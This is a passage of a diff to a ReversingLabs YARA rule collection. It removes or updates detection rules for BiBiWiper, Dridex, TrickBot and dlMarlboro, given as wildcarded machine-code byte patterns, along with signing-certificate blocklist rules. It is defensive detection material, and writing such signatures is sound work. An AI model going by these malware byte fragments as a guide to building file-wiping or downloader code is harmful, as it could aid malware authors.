-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Linux.Trojan.BiBiWiper.yara#L1-L76"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8f290141d5da660463dede6df571d774448e136e2993a0a4c706245464e1239e"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "BiBiWiper"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$destroy_files_p1 = {
-            55 48 89 E5 53 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 48 89 B5 ?? ?? ?? ?? 48 89
-            95 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 4C 89 85 ?? ?? ?? ?? 44 89 8D ?? ?? ?? ?? 48 8B
-            05 ?? ?? ?? ?? 48 83 C0 ?? 48 89 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 BA ?? ?? ??
-            ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 89 D0 48 C1 F8 ?? 48 89 CA 48 C1 FA ?? 48 29 D0
-            48 69 D0 ?? ?? ?? ?? 48 89 C8 48 29 D0 48 85 C0 0F 94 C0 84 C0 74 ?? E8 ?? ?? ?? ??
-            48 8B 85 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89
-            D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ??
-            ?? 48 8D 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 CE 48 89 C7
-            E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 89
-            CE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ??
-            ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D
-            8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ??
-            48 8D 8D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ??
-            ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48
-            89 C3 48 8D 8D ?? ?? ?? ?? 48 8D 45 ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ??
-            ?? 48 8D 45 ?? 48 89 DE 48 89 C7 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C7 E8
-        }
-		$destroy_files_p2 = {
-            48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ??
-            ?? ?? 48 8B 85 ?? ?? ?? ?? 48 C1 E0 ?? 48 89 45 ?? 48 8B B5 ?? ?? ?? ?? 48 8B 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 48 F7 F6 48 8B 55 ?? 48 29 D0 48 89 45 ?? 83 BD ?? ?? ?? ??
-            ?? 7E ?? 8B 85 ?? ?? ?? ?? 83 E8 ?? 48 98 48 0F AF 45 ?? BA ?? ?? ?? ?? 48 F7 B5 ??
-            ?? ?? ?? 48 89 D0 48 89 C1 48 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8
-            ?? ?? ?? ?? EB ?? 48 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ??
-            ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 39
-            85 ?? ?? ?? ?? 73 ?? BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 55 ?? 48 8B 85 ?? ?? ?? ??
-            48 29 D0 48 89 45 ?? 48 8B 45 ?? 48 89 45 ?? 48 8D 55 ?? 48 8D 45 ?? 48 89 D6 48 89
-            C7 E8 ?? ?? ?? ?? 48 8B 00 48 89 45 ?? 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45
-            ?? 48 8B 45 ?? 89 C2 48 8D 85 ?? ?? ?? ?? 89 D6 48 89 C7 E8 ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 5D ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48
-        }
-		$destroy_files_p3 = {
-            89 C7 48 8B 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 8B 85
-            ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 55 ?? 48 8B 45 ?? 48 01 C2 48
-            8B 45 ?? 48 01 D0 48 39 85 ?? ?? ?? ?? 73 ?? 48 8B 55 ?? 48 8B 85 ?? ?? ?? ?? 48 29
-            D0 48 8B 55 ?? 48 29 D0 48 89 45 ?? 48 83 7D ?? ?? 7E ?? 48 8B 4D ?? 48 8B 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 48 89 CE 48 89 C7 E8 ?? ?? ?? ?? 83 45 ?? ?? 8B 45 ?? 48 98 48
-            39 85 ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? EB ?? 90 48 8B 45 ?? 48 89 C7 E8 ?? ?? ?? ?? 48
-            8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89
-            C7 E8 ?? ?? ?? ?? 83 FB ?? E9 ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8
-            ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89
-            C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? 48
-            89 C3 48 8D 45 ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89
-            C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ??
-            48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ??
-            ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 D8 48 89 C7 E8 ?? ?? ?? ?? 48 8B 5D ?? C9 C3
-        }
-
-	condition:
-		uint32(0)==0x464C457F and ( all of ($destroy_files_p*))
-}
-rule REVERSINGLABS_Win32_Trojan_Dridex : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects Dridex trojan."
-		author = "ReversingLabs"
-		id = "bc68aca1-69e6-57e6-9277-70c89fda1e5d"
-		date = "2020-09-16"
-		modified = "2020-09-16"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Win32.Trojan.Dridex.yara#L1-L80"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "7eddc8f33846dfb61302b7d7fddd8dec59a1bde05b14135c14131a02e2c19600"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "Dridex"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$resolve_api_wrapper_1 = {
-            56 57 8B FA 8B F1 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 81 FE ?? ?? ?? ?? 75 ?? 33 C0 5F
-            5E C3 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 8B CE E8 ??
-            ?? ?? ?? 85 C0 74 ?? 8B D7 ?? ?? ?? ?? E9
-        }
-		$resolve_api_wrapper_2 = {
-            57 53 8B FA 8B D9 8B CF E8 ?? ?? ?? ?? 85 C0 75 ?? 81 FB ?? ?? ?? ?? 74 ?? 8B CB E8
-            ?? ?? ?? ?? 85 C0 74 ?? 8B C8 8B D7 E8 ?? ?? ?? ?? 5B 5F C3 8B CB E8 ?? ?? ?? ?? 84
-            C0 74 ?? 8B CB E8 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 EB
-        }
-		$resolve_api_wrapper_3 = {
-            55 8B EC 57 8B 7D ?? 57 E8 ?? ?? ?? ?? 85 C0 75 ?? 56 8B 75 ?? 81 FE ?? ?? ?? ?? 74
-            ?? 56 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 56 E8 ?? ?? ?? ??
-            85 C0 75 ?? 5E 33 C0 5F 5D C2 ?? ?? 57 50 E8 ?? ?? ?? ?? 5E 5F 5D C2
-        }
-		$resolve_api_wrapper_4 = {
-            55 8B EC FF 75 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 56 8B 75 ?? 81 FE ?? ?? ?? ?? 74 ?? 56
-            E8 ?? ?? ?? ?? 85 C0 75 ?? 8B CE E8 ?? ?? ?? ?? 84 C0 74 ?? 56 E8 ?? ?? ?? ?? 85 C0
-            74 ?? 5E 89 45 ?? 5D E9
-        }
-		$find_first_file_snippet_1 = {
-            53 56 8B F1 57 33 DB 32 C9 89 5E ?? 33 FF E8 ?? ?? ?? ?? 83 38 ?? 7C ?? [4-6] BA ??
-            ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 4E ?? 57 6A ?? 6A ?? 8D 56 ??
-            52 53 51 FF D0
-        }
-		$find_first_file_snippet_2 = {
-            57 53 55 8B E9 33 C9 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ??
-            ?? 8B 18 E8 ?? ?? ?? ?? 8B C8 85 C9 74 ?? 33 D2 83 FB ?? 6A ?? 5B 8D 7D ?? 0F 4C DA
-            8B C2 53 52 52 57 0F 9D C0 50 FF 75 ?? FF D1
-        }
-		$find_first_file_snippet_3 = {
-            53 56 8B F1 33 DB 57 32 C9 89 5E ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B
-            38 E8 ?? ?? ?? ?? 8B D0 85 D2 74 ?? 6A ?? 33 C0 83 FF ?? 59 0F 4C C8 8D 46 ?? 51 53
-            53 50 33 C0 83 FF ?? 0F 9D C0 50 FF 76 ?? FF D2
-        }
-		$find_first_file_snippet_4 = {
-            53 56 8B F1 57 33 DB 32 C9 89 5E ?? 33 FF E8 ?? ?? ?? ?? 83 38 ?? 7C ?? 8D 7B ?? 8D
-            5F ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 4E ?? 57 6A ?? 6A
-            ?? 8D 56 ?? 52 53 51 CC C3
-        }
-		$find_first_file_snippet_5 = {
-            56 8B F1 32 C9 57 C7 46 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8B 38 E8 ?? ?? ?? ?? 8B D0 85 D2 74 ?? 33 C0 B9 ?? ?? ?? ?? 83 FF ?? 0F 4C C8 51 50
-            50 8D 46 ?? 50 33 C0 83 FF ?? 0F 9D C0 50 FF 76 ?? FF D2
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ( any of ($resolve_api_wrapper_*) and any of ($find_first_file_snippet_*))
-}
-rule REVERSINGLABS_Win32_Trojan_Trickbot : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects TrickBot trojan."
-		author = "ReversingLabs"
-		id = "4ed253cc-0398-542b-a2b7-c42a0b9431fb"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Win32.Trojan.TrickBot.yara#L1-L46"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "e10f16c70f1ff7cf11d3e25f06e4c5d9e20c51688582d2b51322f768a8e06d7e"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "TrickBot"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$entry_setup = {
-            58 (68 | 8B) [6-8] 59 [1-3] E2 ?? 57 8B (C7 | EC) 8B (C7 | EC) 05 ?? ?? ?? ?? 68 [4-5]
-            89 45 [1-2] 8B D7 [3-4] 8B C1 66 AD 85 C0 74 ?? 3B (C1 | C8) (72 | 77) ?? 2B C1 (C1 | D1)
-            [2-4] 8B CF 03 C8 81 C1 ?? ?? ?? ?? 8B 01 59 03 D0 52 EB ?? 89 45 ?? 8B C5 B9 ?? ??
-            ?? ?? C1 E1 ?? 2B C1 8B 00 89 45 ?? 6A ?? 8B D0 59 FF D2 89 68 ?? 6A ?? 8B D0 FF D2
-        }
-		$decrypt_function_snippet = {
-            58 8B C8 75 ?? 58 2B F0 50 8B D8 49 75 ?? 59 58 59 5E 5F 5B C3
-        }
-		$decrypt_function_snippet_wrapper = {
-            55 BD ?? ?? ?? ?? 50 51 52 6A ?? FF 45 ?? 8B 45 ?? 59 F7 E1 8D 8D ?? ?? ?? ?? 03 C8
-            89 4D ?? 8F 41 ?? 8F 41 ?? 8F 41 ?? 8F 41 ?? 8F 01 89 79 ?? 89 71 ?? 8B D1 59 89 4A
-            ?? 55 2B C0 8B C8 8B 02 8B F8 58 41 41 41 41 50 2B C1 8B 00 3B C7 72 ?? 58 C1 E9 ??
-            49 89 4A ?? E3 ?? FF 55 ?? 8B 55 ?? 8B 4A ?? FF 55 ?? 50 51 50 6A ?? 59 FF 55 ?? FF
-            D0
-        }
-
-	condition:
-		uint16(0)==0x5A4D and $entry_setup and ($decrypt_function_snippet or $decrypt_function_snippet_wrapper)
-}
-rule REVERSINGLABS_Win32_Downloader_Dlmarlboro : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects dlMarlboro downloader."
-		author = "ReversingLabs"
-		id = "4c99b5a4-dc6b-579b-b1bd-bd4c93c6e68c"
-		date = "2020-07-23"
-		modified = "2020-07-23"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/downloader/Win32.Downloader.dlMarlboro.yara#L1-L79"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "465a3b3a9686889001ac0b929d0349e44b6015eaeed3386361366def5013164a"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Downloader"
-		tc_detection_name = "dlMarlboro"
-		tc_detection_factor = 3
-		importance = 25
-
-	strings:
-		$ping_apnic = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 0F 57
-            C0 F3 0F 7F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
-            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
-            8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF
-            B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$download_bin_1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B F2 8B C1 89 85 ??
-            ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ??
-            ?? ?? 83 EC ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 56 C6 01
-            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ??
-            E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84
-            05 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF 50 ?? 8D 4D ?? 51 8B
-            C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B D7 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8
-            ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55
-            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6
-            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ??
-            ?? ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ??
-            ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? B3 ?? EB ?? 32 DB
-        }
-		$download_bin_2 = {
-            C7 45 ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 8D 80 ?? ?? ?? ?? 89
-            85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03
-            C8 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83
-            C4 ?? 8B 8D ?? ?? ?? ?? 8B F0 85 C9 74 ?? 8B 01 FF 50 ?? 85 C0 74 ?? 8B 10 8B C8 6A
-            ?? FF 12 8B 06 8B CE 6A ?? 8B 40 ?? FF D0 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 5D ?? 83 C4 ?? 8B 7D ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 75 ?? 8B 75 ?? 8D 4D ??
-            83 FB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F 43 CF 3B F0 0F 42 C6 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 75 ?? 83 FE ?? 73 ?? 83 C8 ?? EB ?? 33 C0 83 FE ?? 0F 95 C0 85 C0 0F 94
-            C0 84 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ??
-            ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ??
-            ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 FB ?? 72 ?? 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 EB ?? 8B 8D ?? ?? ??
-            ?? 8B 01 FF 50 ?? 8B 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C3 8B 85 ?? ??
-            ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5
-            5D C3
-        }
-
-	condition:
-		uint16(0)==0x5A4D and $ping_apnic and $download_bin_1 and $download_bin_2
-}
-import "pe"
-
-rule REVERSINGLABS_Cert_Blocklist_05E2E6A4Cd09Ea54D665B075Fe22A256 : INFO FILE
-{
-	meta:
-		description = "The digital certificate has leaked."
-		author = "ReversingLabs"
-		id = "824c6b2f-081a-5f38-b949-d802f59e6ced"
-		date = "2023-11-08"
-		modified = "2023-11-08"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L27-L43"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "43da21d9c7ae9bfcc7fe4ee69f9d46cbce1954785d56c1d424b36deb8afe592e"
-		score = 75
-		quality = 90
-		tags = "INFO, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "INFO"
-		importance = 25
-
-	condition:
-		uint16(0)==0x5A4D and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "*.google.com" and pe.signatures[i].serial=="05:e2:e6:a4:cd:09:ea:54:d6:65:b0:75:fe:22:a2:56" and 1308182400<=pe.signatures[i].not_after)
-}
-import "pe"
-
-rule REVERSINGLABS_Cert_Blocklist_77019A082385E4B73F569569C9F87Bb8 : INFO FILE
-{
-	meta:
-		description = "Certificate used for digitally signing malware."
-		author = "ReversingLabs"
-		id = "4046a31b-d7c8-5c63-b5b2-2179b0817b03"
-		date = "2023-11-08"
-		modified = "2023-11-08"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L45-L61"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "8613986005bdd30d92e633fa2058be5c43f1c530b9dc6d80ec953f12f6d66ce7"
-		score = 75
-		quality = 90
-		tags = "INFO, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "INFO"
-		importance = 25
-
-	condition:
-		uint16(0)==0x5A4D and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AND LLC" and pe.signatures[i].serial=="77:01:9a:08:23:85:e4:b7:3f:56:95:69:c9:f8:7b:b8" and 1308182400<=pe.signatures[i].not_after)
-}
-import "pe"
-
-rule REVERSINGLABS_Cert_Blocklist_4F2Ef29Ca5F96E5777B82C62F34Fd3A6 : INFO FILE
-{
-	meta:
-		description = "The digital certificate has leaked."
-		author = "ReversingLabs"
-		id = "6cfb6ae0-8eba-503b-8bb7-ac72746d9aa2"
-		date = "2023-11-08"
-		modified = "2023-11-08"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L63-L79"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "e8f27c4a72f416a16acabb1de606fdde7dc694256809fdb952a25313dda0d34e"
-		score = 75
-		quality = 90
-		tags = "INFO, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "INFO"
+		category = "INFO"
 		importance = 25
 
 	condition:
@@ -1481,8 +1534,8 @@ rule REVERSINGLABS_Cert_Blocklist_7Cc1Db2Ad0A290A4Bfe7A5F336D6800C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L81-L97"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L81-L97"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c9f91edb525a02041bc20dff25ec58323f8fabd4d2a2eca63238ecb10ccef2a6"
 		score = 75
 		quality = 90
@@ -1506,8 +1559,8 @@ rule REVERSINGLABS_Cert_Blocklist_13C8351Aece71C731158980F575F4133 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L99-L115"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L99-L115"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "f96723845adc8030b72c119311103d5c2cf136e79de226d31141d8b925ce8e75"
 		score = 75
 		quality = 90
